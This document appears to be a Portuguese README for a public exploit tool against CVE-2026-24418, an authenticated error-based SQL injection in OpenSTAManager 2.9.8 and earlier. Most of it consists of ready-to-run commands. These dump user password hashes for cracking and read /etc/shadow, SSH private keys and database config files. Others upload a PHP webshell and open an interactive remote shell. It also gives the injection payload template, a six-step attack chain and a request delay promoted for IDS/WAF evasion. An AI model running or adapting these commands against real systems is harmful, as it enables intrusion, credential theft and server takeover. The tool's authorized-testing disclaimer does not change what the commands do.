
OpenSTAManager v2.9.8 e anteriores contêm uma vulnerabilidade crítica de Error-Based SQL Injection no manipulador de operações em lote para o módulo Scadenzario (Agenda de Pagamentos).
OpenSTAManager <= 2.9.8 — Injeção SQL Baseada em Erro no Módulo de Operações em Massa do Scadenzario
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2026-24418 |
| Gravidade | ALTA (8.8) |
| CWE | CWE-89: Injeção SQL |
| Versões Afetadas | OpenSTAManager <= 2.9.8 |
| Parâmetro Vulnerável | id_records[] (array POST) |
| Endpoint Vulnerável | /actions.php?id_module=18 |
| Tipo de Ataque | Injeção SQL Baseada em Erro (EXTRACTVALUE) |
| Autenticação | Necessária (qualquer conta de usuário válida) |
OpenSTAManager v2.9.8 e versões anteriores contêm uma vulnerabilidade crítica de Injeção SQL Baseada em Erro no manipulador de operações em massa para o módulo Scadenzario (Cronograma de Pagamentos). A aplicação falha ao validar se os elementos do array id_records[] são inteiros antes de usá-los em uma cláusula SQL IN(), permitindo que atacantes autenticados injetem comandos SQL arbitrários e extraiam dados sensíveis através de mensagens de erro XPATH.
/actions.php recebe id_records[] via POSTarray_clean() apenas remove valores vazios, NÃO valida tipos de dados/modules/scadenzario/bulk.php passa valores não sanitizados diretamente para uma cláusula SQL IN()git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# Login com credenciais
python3 exploit.py -t http://target.com -u admin -p password --info
# Usar cookie de sessão existente
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# Informações do banco de dados + privilégios + credenciais de usuário
python3 exploit.py -t http://target.com -u admin -p secret --all
# Verificar privilégios MySQL (FILE, SUPER, etc.)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# Extrair usuários e exportar hashes automaticamente
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# Arquivos de saída:
# ./loot/users.json - Dados completos do usuário
# ./loot/users.csv - Formato CSV
# ./loot/hashes_hashcat.txt - Formato Hashcat (modo 3200)
# ./loot/hashes_john.txt - Formato John (usuário:hash)
# Listar todos os bancos de dados
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# Listar tabelas em um banco de dados específico
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# Listar colunas de uma tabela
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# Extrair colunas específicas com limite de linhas
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# Ler /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# Ler configuração da aplicação (credenciais do banco de dados)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# Ler chaves SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# Modo HEX (contornar filtros de caracteres)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# Enviar webshell (detecta webroot automaticamente)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# Enviar webshell com webroot específico
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# Sessão de shell interativa
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE fará upload automático de webshell se não existir
# Salvar tudo em um diretório
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# Arquivos gerados:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# Através do proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# Com atraso de requisição (2 segundos entre requisições)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# Pular verificação SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k
Alvo:
-t, --target URL base do alvo
Autenticação:
-u, --user Nome de usuário para login
-p, --password Senha para login
-c, --cookie Valor PHPSESSID existente
Enumeração:
-D, --database Nome do banco de dados alvo
-T, --table Nome da tabela alvo
-C, --columns-list Colunas a extrair (separadas por vírgula)
--limit Limite de linhas para extrações
Ações:
--info Informações do servidor de banco de dados
--users Extrair credenciais de zz_users
--dbs Listar bancos de dados
--tables Listar tabelas
--columns Listar colunas (requer -T)
--dump Extrair dados (requer -T e -C)
--sql QUERY Consulta SQL personalizada
--all Executar --info + --privs + --users
--privs Verificar privilégios MySQL
Operações de Arquivo:
--file-read PATH Ler arquivo via LOAD_FILE()
--file-read-hex PATH Ler arquivo via codificação HEX
Execução Remota de Código:
--webshell Enviar webshell PHP
--webroot PATH Caminho webroot para upload do shell
--rce Execução interativa de comandos
Saída:
-o, --output DIR Salvar resultados no diretório
Rede:
-m, --module-id ID do módulo (padrão: 18)
--proxy URL do proxy HTTP
-k, --no-ssl-verify Desabilitar verificação SSL
--delay Atraso de requisição em segundos
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
O EXTRACTVALUE() do MySQL retorna no máximo ~32 caracteres via erros XPATH. A ferramenta divide automaticamente resultados longos usando SUBSTRING():
SUBSTRING((<query>), 1, 31) -- Chunk 1
SUBSTRING((<query>), 32, 31) -- Chunk 2
...
Nota Técnica sobre Contexto Baseado em Erro: Embora
--webshelle--rceestejam incluídos para máxima cobertura, o MySQL proíbe estritamente o uso deINTO DUMPFILEdentro de uma subconsulta ou cláusulaIN()(que é exatamente onde está o ponto de injeção deste CVE).Portanto, escrever arquivos diretamente através desta injeção específica baseada em erro geralmente falhará com um erro de sintaxe, a menos que:
- O ambiente alvo permita Consultas Empilhadas (muito raro em configurações modernas PHP/PDO).
- Você consiga pivotar o payload para uma injeção baseada em UNION.
Se você confirmar privilégios
FILEvia--privs, sua melhor aposta é usar--file-reade--file-read-hex, já queLOAD_FILE()funciona perfeitamente dentro de subconsultas baseadas em erro.
Quando o privilégio FILE está disponível e as restrições permitem:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
1. --privs → Verificar privilégio FILE
2. --users → Extrair credenciais, exportar hashes
3. --file-read → Ler config.inc.php para credenciais do BD
4. --file-read → Ler /etc/passwd para nomes de usuário
5. --webshell → Enviar webshell PHP
6. --rce → Shell interativo → pivot
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização adequada antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido.
| Recurso | Descrição |
|---|
--info | Identificação do servidor de banco de dados (versão, usuário, hostname, SO, caminhos) |
--privs | Enumeração de privilégios MySQL (FILE, SUPER, PROCESS) |
--users | Extração completa de credenciais de zz_users com exportação automática de hashes |
--dbs | Listar todos os bancos de dados acessíveis |
--tables | Listar tabelas com contagem de linhas |
--columns | Listar colunas com tipos e informação de nullable |
--dump | Exfiltração de dados de qualquer tabela/coluna |
--sql | Execução de consulta SQL personalizada |
--file-read | Ler arquivos do servidor via LOAD_FILE() (/etc/passwd, arquivos de configuração, chaves SSH) |
--file-read-hex | Leitura de arquivo codificado em HEX para contornar filtros |
--webshell | Upload de webshell PHP via INTO DUMPFILE |
--rce | Execução interativa de comandos via webshell enviado |
-o / --output | Salvar todos os resultados em formatos JSON, CSV e hashcat/john |
--proxy | Suporte a proxy HTTP (Burp Suite) |
--delay | Limitação de requisições para evasão de IDS/WAF |